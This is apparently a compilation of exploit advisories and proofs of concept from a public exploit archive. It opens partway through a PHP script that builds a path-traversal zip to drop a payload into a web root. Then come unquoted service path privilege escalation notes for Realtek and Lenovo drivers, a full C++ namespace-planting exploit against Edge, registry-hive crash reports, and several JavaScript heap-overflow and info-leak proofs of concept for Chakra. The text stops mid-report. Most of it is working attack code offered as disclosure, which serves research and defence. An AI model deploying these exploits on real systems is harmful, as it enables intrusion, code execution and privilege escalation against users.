 if(!empty($argv[2])&&is_numeric($argv[2])){
 $depth=$argv[2];
 }else{
 echo "Second flag <path depth> must be numeric!, you supplied '$argv[2]'";
 exit();
 }
 if(strtolower($argv[3])!="y"){
 if(!empty($argv[3])){
 $exploit_file=$argv[3];
 }
 if(!empty($argv[4])){
 $cmd=$argv[4];
 }else{
 echo "Usage: enter a payload for file $exploit_file wrapped in double
 quotes";
 exit();
 }
 }
 $zip = new ZipArchive();
 $res = $zip->open("$zipname.zip", ZipArchive::CREATE);
 $zip->addFromString(str_repeat("..\\",
 $depth)."\\xampp\\htdocs\\".$exploit_file, $cmd);
 $zip->close();
 echo "\r\nExploit archive $zipname.zip created using $exploit_file\r\n";
 echo "================ hyp3rlinx ===================";
?>


Disclosure Timeline:
=======================================
Vendor Notification: September 20, 2016
October 20, 2016 : Public Disclosure



Exploitation Technique:
=======================
Local



Severity Level:
=====================
CVSS VERSION 3.0 RISK 
5.7



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
            
# Exploit Title: Realtek High Definition Audio Driver - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 6.0.1.6730
# Tested on: Windows 7 Professional
 
The Realtek High Definition Audio Driver installs a service with an unquoted service path.
This enables a local privilege escalation vulnerability.  To exploit this vulnerability,
a local attacker can insert an executable file in the path of the service.
Rebooting the system or restarting the service will run the malicious executable
with elevated privileges.
 
 
This was tested on version 6.0.1.6730, but other versions may be affected as well.
 
 
---------------------------------------------------------------------------
 
C:\>sc qc RtkAudioService                                                       
[SC] QueryServiceConfig SUCCESS                                                 
                                                                                
SERVICE_NAME: RtkAudioService                                                   
        TYPE               : 10  WIN32_OWN_PROCESS                              
        START_TYPE         : 2   AUTO_START                                     
        ERROR_CONTROL      : 1   NORMAL                                         
        BINARY_PATH_NAME   : C:\Program Files\Realtek\Audio\HDA\RtkAudioService64.exe                                                                           
        LOAD_ORDER_GROUP   : PlugPlay                                           
        TAG                : 0                                                  
        DISPLAY_NAME       : Realtek Audio Service                              
        DEPENDENCIES       :                                                    
        SERVICE_START_NAME : LocalSystem
 
---------------------------------------------------------------------------
 
 
EXAMPLE:
 
Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
            
# Exploit Title: Lenovo ThinkVantage Communications Utility - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 3.0.42.0
# Tested on: Windows 7 Professional
 
The Lenovo ThinkVantage Communications Utility installs 2 services with unquoted
service paths.  This enables a local privilege escalation vulnerability.
To exploit this vulnerability, a local attacker can insert an executable file in the path
of either service.  Rebooting the system or restarting either service will run the malicious
executable with elevated privileges.
 
 
This was tested on version 3.0.42.0, but other versions may be affected as well.
 
 
---------------------------------------------------------------------------
 
C:\>sc qc LENOVO.CAMMUTE                                                        
[SC] QueryServiceConfig SUCCESS                                                 
                                                                                
SERVICE_NAME: LENOVO.CAMMUTE                                                    
        TYPE               : 10  WIN32_OWN_PROCESS                              
        START_TYPE         : 2   AUTO_START                                     
        ERROR_CONTROL      : 0   IGNORE                                         
        BINARY_PATH_NAME   : C:\Program Files\Lenovo\Communications Utility\CAMMUTE.exe                                                                         
        LOAD_ORDER_GROUP   :                                                    
        TAG                : 0                                                  
        DISPLAY_NAME       : Lenovo Camera Mute                                 
        DEPENDENCIES       :                                                    
        SERVICE_START_NAME : LocalSystem


C:\>sc qc LENOVO.TPKNRSVC                                                       
[SC] QueryServiceConfig SUCCESS                                                 
                                                                                
SERVICE_NAME: LENOVO.TPKNRSVC                                                   
        TYPE               : 10  WIN32_OWN_PROCESS                              
        START_TYPE         : 2   AUTO_START                                     
        ERROR_CONTROL      : 0   IGNORE                                         
        BINARY_PATH_NAME   : C:\Program Files\Lenovo\Communications Utility\TPKNRSVC.exe                                                                        
        LOAD_ORDER_GROUP   :                                                    
        TAG                : 0                                                  
        DISPLAY_NAME       : Lenovo Keyboard Noise Reduction                    
        DEPENDENCIES       :                                                    
        SERVICE_START_NAME : LocalSystem
 
---------------------------------------------------------------------------
 
 
EXAMPLE:
 
Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.


############################################################

From Lenovo PSIRT:

This issue was fixed in version 3.0.44.0, which was released on June 4, 2013. README for Lenovo Communications Utility program:

https://download.lenovo.com/pccbbs/mobiles/grcu19ww.txt

3.0.44.0             01     2013/06/04
<3.0.44.0>
- (Fix) Fixed the vulnerability issue of service program registration.
- (Fix) Fixed the issue that vcamsvc.exe might crash.
- (Fix) Fixed the issue that TpKnrres.exe might crash.
- (Fix) Fixed the issue that TPKNRSVC.exe might crash.
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=878

Windows: Edge/IE Isolated Private Namespace Insecure Boundary Descriptor EoP
Platform: Windows 10 10586, Edge 25.10586.0.0 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
The isolated private namespace created by ierutils has an insecure Boundary Descriptor which allows any non-appcontainer sandbox process (such as chrome) or other users on the same system to gain elevated permissions on the namespace directory which could lead to elevation of privilege. 

Description:

In iertutils library IsoOpenPrivateNamespace creates a new Window private namespace (which is an isolated object directory which can be referred to using a boundary descriptor). The function in most cases first calls OpenPrivateNamespace before falling back to CreatePrivateNamespace. The boundary descriptor used for this operation only has an easily guessable name, so it’s possible for another application to create the namespace prior to Edge/IE starting, ensuring the directory and other object’s created underneath are accessible. 

In order to attack this the Edge/IE process has to have not been started yet. This might be the case if trying to exploit from another sandbox application or from another user. The per-user namespace IEUser_USERSID_MicrosoftEdge is trivially guessable, however the  IsoScope relies on the PID of the process. However there’s no limit on the number of private namespaces a process can register (seems to just be based on resource consumption limits). I’ve easily created 100,000 with different names before I gave up, so it would be trivial to plant the namespace name for any new Edge process, set the DACL as appropriate and wait for the user to login. 

Also note on IE that the Isolated Scope namespace seems to be created before opened which would preclude this attack on that type, but it would still be exploitable on the per-user one. 

Doing this would result in any new object in the isolated namespace being created by Edge or IE being accessible to the attacker. I’ve not spent much time actually working out what is or isn’t exploitable but at the least you’d get some level of information disclosure and no doubt some potential for EoP.

Proof of Concept:

I’ve provided a PoC as a C++ source code file. You need to compile it first targeted with Visual Studio 2015. It will create the user namespace. 

1) Compile the C++ source code file.
2) Execute the PoC as another different user to the current one on the same system, this using runas. Pass the name of the user to spoof on the command line. 
3) Start a copy of Edge
4) The PoC should print that it’s found and accessed the !PrivacIE!SharedMem!Settings section from the new Edge process.

Expected Result:
Planting the private namespace is not allowed.

Observed Result:
Access to the private namespace is granted and the DACL of the directory is set set to a list of inherited permissions which will be used for new objects.
*/

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <winternl.h>
#include <sddl.h>
#include <memory>
#include <string>
#include <TlHelp32.h>
#include <strstream>
#include <sstream>

typedef NTSTATUS(WINAPI* NtCreateLowBoxToken)(
  OUT PHANDLE token,
  IN HANDLE original_handle,
  IN ACCESS_MASK access,
  IN POBJECT_ATTRIBUTES object_attribute,
  IN PSID appcontainer_sid,
  IN DWORD capabilityCount,
  IN PSID_AND_ATTRIBUTES capabilities,
  IN DWORD handle_count,
  IN PHANDLE handles);

struct HandleDeleter
{
  typedef HANDLE pointer;
  void operator()(HANDLE handle)
  {
    if (handle && handle != INVALID_HANDLE_VALUE)
    {
      DWORD last_error = ::GetLastError();
      CloseHandle(handle);
      ::SetLastError(last_error);
    }
  }
};

typedef std::unique_ptr<HANDLE, HandleDeleter> scoped_handle;

struct LocalFreeDeleter
{
  typedef void* pointer;
  void operator()(void* p)
  {
    if (p)
      ::LocalFree(p);
  }
};

typedef std::unique_ptr<void, LocalFreeDeleter> local_free_ptr;

struct PrivateNamespaceDeleter
{
  typedef HANDLE pointer;
  void operator()(HANDLE handle)
  {
    if (handle && handle != INVALID_HANDLE_VALUE)
    {
      ::ClosePrivateNamespace(handle, 0);
    }
  }
};

struct scoped_impersonation
{
  BOOL _impersonating;
public:
  scoped_impersonation(const scoped_handle& token) {
    _impersonating = ImpersonateLoggedOnUser(token.get());
  }

  scoped_impersonation() {
    if (_impersonating)
      RevertToSelf();
  }

  BOOL impersonation() {
    return _impersonating;
  }
};

typedef std::unique_ptr<HANDLE, PrivateNamespaceDeleter> private_namespace;

std::wstring GetCurrentUserSid()
{
  HANDLE token = nullptr;
  if (!OpenProcessToken(::GetCurrentProcess(), TOKEN_QUERY, &token))
    return false;
  std::unique_ptr<HANDLE, HandleDeleter> token_scoped(token);

  DWORD size = sizeof(TOKEN_USER) + SECURITY_MAX_SID_SIZE;
  std::unique_ptr<BYTE[]> user_bytes(new BYTE[size]);
  TOKEN_USER* user = reinterpret_cast<TOKEN_USER*>(user_bytes.get());

  if (!::GetTokenInformation(token, TokenUser, user, size, &size))
    return false;

  if (!user->User.Sid)
    return false;

  LPWSTR sid_name;
  if (!ConvertSidToStringSid(user->User.Sid, &sid_name))
    return false;

  std::wstring ret = sid_name;
  ::LocalFree(sid_name);
  return ret;
}

std::wstring GetCurrentLogonSid()
{
  HANDLE token = NULL;
  if (!::OpenProcessToken(::GetCurrentProcess(), TOKEN_QUERY, &token))
    return false;
  std::unique_ptr<HANDLE, HandleDeleter> token_scoped(token);

  DWORD size = sizeof(TOKEN_GROUPS) + SECURITY_MAX_SID_SIZE;
  std::unique_ptr<BYTE[]> user_bytes(new BYTE[size]);
  TOKEN_GROUPS* groups = reinterpret_cast<TOKEN_GROUPS*>(user_bytes.get());

  memset(user_bytes.get(), 0, size);

  if (!::GetTokenInformation(token, TokenLogonSid, groups, size, &size))
    return false;

  if (groups->GroupCount != 1)
    return false;

  LPWSTR sid_name;
  if (!ConvertSidToStringSid(groups->Groups[0].Sid, &sid_name))
    return false;

  std::wstring ret = sid_name;
  ::LocalFree(sid_name);
  return ret;
}

class BoundaryDescriptor
{
public:
  BoundaryDescriptor()
    : boundary_desc_(nullptr) {
  }

  ~BoundaryDescriptor() {
    if (boundary_desc_) {
      DeleteBoundaryDescriptor(boundary_desc_);
    }
  }

  bool Initialize(const wchar_t* name) {
    boundary_desc_ = ::CreateBoundaryDescriptorW(name, 0);
    if (!boundary_desc_)
      return false;

    return true;
  }

  bool AddSid(LPCWSTR sid_str)
  {
    if (_wcsicmp(sid_str, L"CU") == 0)
    {
      return AddSid(GetCurrentUserSid().c_str());
    }
    else
    {
      PSID p = nullptr;

      if (!::ConvertStringSidToSid(sid_str, &p))
      {
        return false;
      }

      std::unique_ptr<void, LocalFreeDeleter> buf(p);

      SID_IDENTIFIER_AUTHORITY il_id_auth = { { 0,0,0,0,0,0x10 } };
      PSID_IDENTIFIER_AUTHORITY sid_id_auth = GetSidIdentifierAuthority(p);

      if (memcmp(il_id_auth.Value, sid_id_auth->Value, sizeof(il_id_auth.Value)) == 0)
      {
        return !!AddIntegrityLabelToBoundaryDescriptor(&boundary_desc_, p);
      }
      else
      {
        return !!AddSIDToBoundaryDescriptor(&boundary_desc_, p);
      }
    }
  }

  HANDLE boundry_desc() {
    return boundary_desc_;
  }

private:
  HANDLE boundary_desc_;
};

scoped_handle CreateLowboxToken()
{
  PSID package_sid_p;
  if (!ConvertStringSidToSid(L"S-1-15-2-1-1-1-1-1-1-1-1-1-1-1", &package_sid_p))
  {
    printf("[ERROR] creating SID: %d\n", GetLastError());
    return nullptr;
  }
  local_free_ptr package_sid(package_sid_p);

  HANDLE process_token_h;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &process_token_h))
  {
    printf("[ERROR] error opening process token SID: %d\n", GetLastError());
    return nullptr;
  }

  scoped_handle process_token(process_token_h);

  NtCreateLowBoxToken fNtCreateLowBoxToken = (NtCreateLowBoxToken)GetProcAddress(GetModuleHandle(L"ntdll"), "NtCreateLowBoxToken");
  HANDLE lowbox_token_h;
  OBJECT_ATTRIBUTES obja = {};
  obja.Length = sizeof(obja);

  NTSTATUS status = fNtCreateLowBoxToken(&lowbox_token_h, process_token_h, TOKEN_ALL_ACCESS, &obja, package_sid_p, 0, nullptr, 0, nullptr);
  if (status != 0)
  {
    printf("[ERROR] creating lowbox token: %08X\n", status);
    return nullptr;
  }

  scoped_handle lowbox_token(lowbox_token_h);
  HANDLE imp_token;

  if (!DuplicateTokenEx(lowbox_token_h, TOKEN_ALL_ACCESS, nullptr, SecurityImpersonation, TokenImpersonation, &imp_token))
  {
    printf("[ERROR] duplicating lowbox: %d\n", GetLastError());
    return nullptr;
  }

  return scoped_handle(imp_token);
}

DWORD FindMicrosoftEdgeExe()
{
  scoped_handle th_snapshot(CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0));
  if (!th_snapshot)
  {
    printf("[ERROR] getting snapshot: %d\n", GetLastError());
    return 0;
  }
  PROCESSENTRY32 proc_entry = {};
  proc_entry.dwSize = sizeof(proc_entry);

  if (!Process32First(th_snapshot.get(), &proc_entry))
  {
    printf("[ERROR] enumerating snapshot: %d\n", GetLastError());
    return 0;
  }

  do
  {
    if (_wcsicmp(proc_entry.szExeFile, L"microsoftedge.exe") == 0)
    {
      return proc_entry.th32ProcessID;
    }
    proc_entry.dwSize = sizeof(proc_entry);
  } while (Process32Next(th_snapshot.get(), &proc_entry));

  return 0;
}

void CreateNamespaceForUser(LPCWSTR account_name)
{
  BYTE sid_bytes[MAX_SID_SIZE];
  WCHAR domain[256];
  SID_NAME_USE name_use;
  DWORD sid_size = MAX_SID_SIZE;
  DWORD domain_size = _countof(domain);

  if (!LookupAccountName(nullptr, account_name, (PSID)sid_bytes, &sid_size, domain, &domain_size, &name_use))
  {
    printf("[ERROR] getting SId for account %ls: %d\n", account_name, GetLastError());
    return;
  }

  LPWSTR sid_str;
  ConvertSidToStringSid((PSID)sid_bytes, &sid_str);

  std::wstring boundary_name = L"IEUser_";
  boundary_name += sid_str;
  boundary_name += L"_MicrosoftEdge";

  BoundaryDescriptor boundry;
  if (!boundry.Initialize(boundary_name.c_str()))
  {
    printf("[ERROR] initializing boundary descriptor: %d\n", GetLastError());
    return;
  }

  PSECURITY_DESCRIPTOR psd;
  ULONG sd_size = 0;
  std::wstring sddl = L"D:(A;OICI;GA;;;WD)(A;OICI;GA;;;AC)(A;OICI;GA;;;WD)(A;OICI;GA;;;S-1-0-0)";
  sddl += L"(A;OICI;GA;;;" + GetCurrentUserSid() + L")";
  sddl += L"(A;OICI;GA;;;" + GetCurrentLogonSid() + L")";
  sddl += L"S:(ML;OICI;NW;;;S-1-16-0)";

  if (!ConvertStringSecurityDescriptorToSecurityDescriptor(sddl.c_str(), SDDL_REVISION_1, &psd, &sd_size))
  {
    printf("[ERROR] converting SDDL: %d\n", GetLastError());
    return;
  }
  std::unique_ptr<void, LocalFreeDeleter> sd_buf(psd);

  SECURITY_ATTRIBUTES secattr = {};
  secattr.nLength = sizeof(secattr);
  secattr.lpSecurityDescriptor = psd;

  private_namespace ns(CreatePrivateNamespace(&secattr, boundry.boundry_desc(), boundary_name.c_str()));
  if (!ns)
  {
    printf("[ERROR] creating private namespace - %ls: %d\n", boundary_name.c_str(), GetLastError());
    return;
  }

  printf("[SUCCESS] Created Namespace %ls, start Edge as other user\n", boundary_name.c_str());
  
  std::wstring section_name = boundary_name + L"\\!PrivacIE!SharedMem!Settings";

  while (true)
  {
    HANDLE hMapping = OpenFileMapping(FILE_MAP_READ | FILE_MAP_WRITE, FALSE, section_name.c_str());
    if (hMapping)
    {
      printf("[SUCCESS] Opened other user's !PrivacIE!SharedMem!Settings section for write access\n");
      return;
    }
    Sleep(1000);
  }
}

int wmain(int argc, wchar_t** argv)
{
  if (argc < 2)
  {
    printf("PoC username to access\n");
    return 1;
  }
  CreateNamespaceForUser(argv[1]);
  return 0;
}
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=873

We have encountered Windows kernel crashes in the memmove() function called by nt!CmpCheckValueList while loading corrupted registry hive files. An example of a crash log excerpt generated after triggering the bug is shown below:

---
ATTEMPTED_WRITE_TO_READONLY_MEMORY (be)
An attempt was made to write to readonly memory.  The guilty driver is on the
stack trace (and is typically the current instruction pointer).
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: b008d000, Virtual address for the attempted write.
Arg2: 45752121, PTE contents.
Arg3: a5d9b590, (reserved)
Arg4: 0000000b, (reserved)

Debugging Details:
------------------

[...]

STACK_TEXT:  
a5d9b60c 81820438 b008cb40 b008cb44 fffffffc nt!memmove+0x33
a5d9b670 8181f4f0 ab3709c8 00000000 b008cb34 nt!CmpCheckValueList+0x520
a5d9b6bc 8181fc01 03010001 0000b3b8 00000020 nt!CmpCheckKey+0x661
a5d9b6f4 818206d0 ab3709c8 03010001 00000001 nt!CmpCheckRegistry2+0x89
a5d9b73c 8182308f 03010001 8000057c 80000498 nt!CmCheckRegistry+0xfb
a5d9b798 817f6fa0 a5d9b828 00000002 00000000 nt!CmpInitializeHive+0x55c
a5d9b85c 817f7d85 a5d9bbb8 00000000 a5d9b9f4 nt!CmpInitHiveFromFile+0x1be
a5d9b9c0 817ffaae a5d9bbb8 a5d9ba88 a5d9ba0c nt!CmpCmdHiveOpen+0x50
a5d9bacc 817f83b8 a5d9bb90 a5d9bbb8 00000010 nt!CmLoadKey+0x459
a5d9bc0c 8168edc6 0025fd58 00000000 00000010 nt!NtLoadKeyEx+0x56c
a5d9bc0c 77806bf4 0025fd58 00000000 00000010 nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
0025fdc0 00000000 00000000 00000000 00000000 0x77806bf4
---

The root cause of the bug seems to be that the nt!CmpCheckValueList function miscalculates the number of items to be shifted to the left in an array with 4-byte entries, resulting in the following call:

RtlMoveMemory(&array[x], &array[x + 1], 4 * (--y - x));

Here, the eventual value of the size parameter becomes negative (--y is smaller than x), but is treated by RtlMoveMemory as an unsigned integer, which is way beyond the size of the memory region, resulting in memory corruption. In a majority of observed cases, the specific negative value ended up being 0xfffffffc (-4), but we have also seen a few samples which crashed with size=0xfffffff8 (-8).

The issue reproduces on Windows 7. Considering the huge memory copy size, the crash should manifest both with and without Special Pools enabled. In order to reproduce the problem with the provided samples, it is necessary to load them with a dedicated program which calls the RegLoadAppKey() API.

Attached are three proof of concept hive files.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40600.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=876

We have encountered a Windows kernel crash in the nt!RtlValidRelativeSecurityDescriptor function invoked by nt!CmpValidateHiveSecurityDescriptors while loading corrupted registry hive files. An example of a crash log excerpt generated after triggering the bug is shown below:

---
KERNEL_MODE_EXCEPTION_NOT_HANDLED_M (1000008e)
This is a very common bugcheck.  Usually the exception address pinpoints
the driver/function that caused the problem.  Always note this address
as well as the link date of the driver/image that contains this address.
Some common problems are exception code 0x80000003.  This means a hard
coded breakpoint or assertion was hit, but this system was booted
/NODEBUG.  This is not supposed to happen as developers should never have
hardcoded breakpoints in retail code, but ...
If this happens, make sure a debugger gets connected, and the
system is booted /DEBUG.  This will let us see why this breakpoint is
happening.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 81815974, The address that the exception occurred at
Arg3: 80795644, Trap Frame
Arg4: 00000000

Debugging Details:
------------------

[...]

STACK_TEXT:  
807956c4 81814994 a4f3f098 0125ffff 00000000 nt!RtlValidRelativeSecurityDescriptor+0x5b
807956fc 818146ad 03010001 80795728 80795718 nt!CmpValidateHiveSecurityDescriptors+0x24b
8079573c 8181708f 03010001 80000560 80000540 nt!CmCheckRegistry+0xd8
80795798 817eafa0 80795828 00000002 00000000 nt!CmpInitializeHive+0x55c
8079585c 817ebd85 80795bb8 00000000 807959f4 nt!CmpInitHiveFromFile+0x1be
807959c0 817f3aae 80795bb8 80795a88 80795a0c nt!CmpCmdHiveOpen+0x50
80795acc 817ec3b8 80795b90 80795bb8 00000010 nt!CmLoadKey+0x459
80795c0c 81682dc6 002afc90 00000000 00000010 nt!NtLoadKeyEx+0x56c
80795c0c 77066bf4 002afc90 00000000 00000010 nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
002afcf8 00000000 00000000 00000000 00000000 0x77066bf4

[...]

FOLLOWUP_IP: 
nt!RtlValidRelativeSecurityDescriptor+5b
81815974 803801          cmp     byte ptr [eax],1
---

The bug seems to be caused by insufficient verification of the security descriptor length passed to the nt!RtlValidRelativeSecurityDescriptor function. An inadequately large length can render the verification of any further offsets useless, which is what happens in this particular instance. Even though the nt!RtlpValidateSDOffsetAndSize function is called to sanitize each offset in the descriptor used to access memory, it returns success due to operating on falsely large size. This condition can be leveraged to get the kernel to dereference any address relative to the pool allocation, which may lead to system crash or disclosure of kernel-mode memory. We have not investigated if the bug may allow out-of-bounds memory write access, but if that is the case, its severity would be further elevated.

The issue reproduces on Windows 7 and 8.1. In order to reproduce the problem with the provided sample, it is necessary to load it with a dedicated program which calls the RegLoadAppKey() API.

Attached is a proof of concept hive file.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40601.zip
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=923

There is a heap overflow in Array.map in Chakra. In Js::JavascriptArray::MapHelper, if the array that is being mapped is a Proxy, ArraySpeciesCreate is used to create the array that the mapped values are copied into. They are then written to the array using DirectSetItemAt, even through there is no guarantee the array is a Var array. If it is actually an int array, it will be shorter than this function expects, causing a heap overflow. A minimal PoC is as follows:

var d = new Array(1,2,3);
class dummy{

	constructor(){
		alert("in constructor");
		return d;
        }

}

var handler = {
    get: function(target, name){

	if(name == "length"){
		return 0x100;
	}
	return {[Symbol.species] : dummy};
    },

    has: function(target, name){
	return true;
    }
};

var p = new Proxy([], handler);

var a = new Array(1,2,3);

function test(){
	return 0x777777777777;

}

var o = a.map.call(p, test);

A full PoC is attached.
-->

<html><body><script>
var b = new Array(1,2,3);
var d = new Array(1,2,3);
class dummy{

	constructor(){
		alert("in constructor");
		return d;
        }

}

var handler = {
    get: function(target, name){

	if(name == "length"){
		return 0x100;
	}
	return {[Symbol.species] : dummy};
    },

    has: function(target, name){
       alert("has " + name);
	return true;
    }
};

var p = new Proxy([], handler);

var a = new Array(1,2,3);

function test(){
	return 0x777777777777;

}


var o = a.map.call(p, test);

var h = [];

for(item in o){

	var n = new Number(o[item]);
	if (n < 0){
		n = n + 0x100000000;
	}
	h.push(n.toString(16));

}

alert(h);

</script></body></html>
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=920

When Function.apply is called in Chakra, the parameter array is iterated through using JavascriptArray::ForEachItemInRange. This function accepts a templated parameter, hasSideEffect that allows the function to behave safely in the case that iteration has side effects. In JavascriptFunction::CalloutHelper (which is called by Function.apply) this parameter is set to false, even though iterating through the array can have side effects. This can cause an info leak if the side effects cause the array to change types from a numeric array to a variable array. A PoC is as folows and attached. Running this PoC causes an alert dialog with pointers in it.

var t = new Array(1,2,3);

function f(){

var h = [];
var a = [...arguments]
for(item in a){
	var n = new Number(a[item]);
	if( n < 0){

	n = n + 0x100000000;
	}
	h.push(n.toString(16));	
}

alert(h);
}



var q = f;

t.length = 20;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      var ta = [];
      ta.fill.call(t, "natalie");
      return 5;
    }
  });

t.__proto__ = o;

var j = [];
var s = f.apply(null, t);

-->

<html><body><script>

var t = new Array(1,2,3);

function f(){

var h = [];
var a = [...arguments]
for(item in a){
	var n = new Number(a[item]);
	if( n < 0){

	n = n + 0x100000000;
	}
	h.push(n.toString(16));	
}

alert(h);
}



var q = f;

t.length = 20;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      var ta = [];
      ta.fill.call(t, "natalie");
      return 5;
    }
  });

t.__proto__ = o;

var j = [];
var s = f.apply(null, t);

</script></body></html>
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=919

When an array is joined in Chakra, it calls JavascriptArray::JoinArrayHelper, a function that is templated based on the type of the array. This function then calls JavascriptArray::TemplatedGetItem to get each item in the array. If an element is missing from the array, this function will fall back to the array object's prototype, which could contain a getter or a proxy, allowing user script to be executed. This script can have side effects, including changing the type of the array, however JoinArrayHelper will continue running as it's templated type even if this has happened. This can allow object pointers in an array to be read as integers and accessed by a malicious script.

A minimal PoC is as follows:


var t = new Array(1,2,3);
t.length = 100;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {

      t[0] = {};
      for(var i = 0; i < 100; i++){
          t[i] = {a : i};
      }
      return 7;
    }
  });

t.__proto__ = o;

var j = [];
var s = j.join.call(t);
alert(s);

A full PoC is attached. One of the alert dialogs contains pointers to JavaScript objects.
-->

<html><body><script>

var y = 0;
var t = new Array(1,2,3);
t.length = 100;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      alert('get!');
      t[0] = {};
      var j = [];
      for(var i = 0; i < 100; i++){
          t[i] = {a : i};
      }
      return 7;
    }
  });

t.__proto__ = o;

var j = [];
var s = j.join.call(t);
alert(s);
var a = s.split(",");
var h = [];
for(item in a){
	var n = parseInt(a[item]);
     if (n < 0){
		n = n + 0x100000000;
     }
	var ss = n.toString(16);
      h.push(ss);
}
alert(h);

</script></body></html>
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=910

The spread operator in JavaScript allows an array to be treated as function parameters using the following syntax:

var a = [1,2];

f(...a);

This is implemented in the JavascriptFunction::SpreadArgs function in Chakra (https://github.com/Microsoft/ChakraCore/blob/master/lib/Runtime/Library/JavascriptFunction.cpp). 

On line 1054 of this function, the following code is used to spread an array:

                        if (argsIndex + arr->GetLength() > destArgs.Info.Count)
                        {
                            AssertMsg(false, "The array length has changed since we allocated the destArgs buffer?");
                            Throw::FatalInternalError();
                        }

                        for (uint32 j = 0; j < arr->GetLength(); j++)
                        {
                            Var element;
                            if (!arr->DirectGetItemAtFull(j, &element))
                            {
                                element = undefined;
                            }
                            destArgs.Values[argsIndex++] = element;
                        } 

When DirectGetItemAtFull accesses the array, if an element of the array is undefined, it will fall back to the prototype of the array. In some situations, for example if the prototype is a Proxy, this can execute user-defined script, which can change the length of the array, meaning that the call can overflow destArgs.Values, even through the length has already been checked. Note that this check also has a potential integer overflow, which should also probably be fixed as a part of this issue.

A full PoC is attached.
-->

<html>
<script>
var y = 0;
var t = [1,2,3];
var t2 = [4,4,4];
var mp = new Proxy(t2, {
  get: function (oTarget, sKey) {
    var a = [1,2];
    a.reverse();
    alert("get " + sKey.toString());
    alert(oTarget.toString());
    y = y + 1;
    if(y == 2){
        var temp = [];
        oTarget.__proto__ = temp.__proto__;
	t.length = 10000;
        temp.fill.call(t, 7, 0, 1000);
        return 5;
    }
    return oTarget[sKey] || oTarget.getItem(sKey) || undefined;
  },
  set: function (oTarget, sKey, vValue) {
    alert("set " + sKey);
    if (sKey in oTarget) { return false; }
    return oTarget.setItem(sKey, vValue);
  },
  deleteProperty: function (oTarget, sKey) {
    alert("delete");
    if (sKey in oTarget) { return false; }
    return oTarget.removeItem(sKey);
  },
  enumerate: function (oTarget, sKey) {
    alert("enum");
    return oTarget.keys();
  },
  ownKeys: function (oTarget, sKey) {
    alert("ok");
    return oTarget.keys();
  },
  has: function (oTarget, sKey) {
    alert("has" + sKey);
    return true;
  },
  defineProperty: function (oTarget, sKey, oDesc) {
    alert("dp");
    if (oDesc && "value" in oDesc) { oTarget.setItem(sKey, oDesc.value); }
    return oTarget;
  },
  getOwnPropertyDescriptor: function (oTarget, sKey) {
    alert("fopd");
    var vValue = oTarget.getItem(sKey);
    return vValue ? {
      value: vValue,
      writable: true,
      enumerable: true,
      configurable: false
    } : undefined;
  },
});

function f(a){

	alert(a);
}

var q = f;

t.length = 4;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      alert('get!');
      return temperature;
    }
  });

t.__proto__ = mp;
//t.__proto__.__proto__ = o;

q(...t);

</script>
</html>
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=879

Windows: Edge/IE Isolated Private Namespace Insecure DACL EoP
Platform: Windows 10 10586, Edge 25.10586.0.0 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
The isolated private namespace created by ierutils has a insecure DACL which allows any appcontainer process to gain elevated permissions on the namespace directory which could lead to elevation of privilege. 

Description:

In iertutils library IsoOpenPrivateNamespace creates a new Window private namespace (which is an isolated object directory which can be referred to using a boundary descriptor). The function calls CreatePrivateNamespace, setting an explicit DACL which gives the current user, ALL APPLICATION PACKAGES and also owner rights of GENERIC_ALL. This is a problem because this is the only security barrier protecting access to the private namespace, when an application has already created it, this means that for example we can from any other App Container open IE’s or Edge’s with Full Access.

Now how would you go about exploiting this? All the resources added to this isolated container use the default DACL of the calling process (which in IE’s case is usually the medium broker, and presumably in Edge is MicrosoftEdge.exe). The isolated container then adds explicit Low IL and Package SID ACEs to the created DACL of the object. So one way of exploiting this condition is to open the namespace for WRITE_DAC privilege and add inheritable ACEs to the DACL. When the kernel encounters inherited DACLs it ignores the token’s default DACL and applies the inherited permission. 

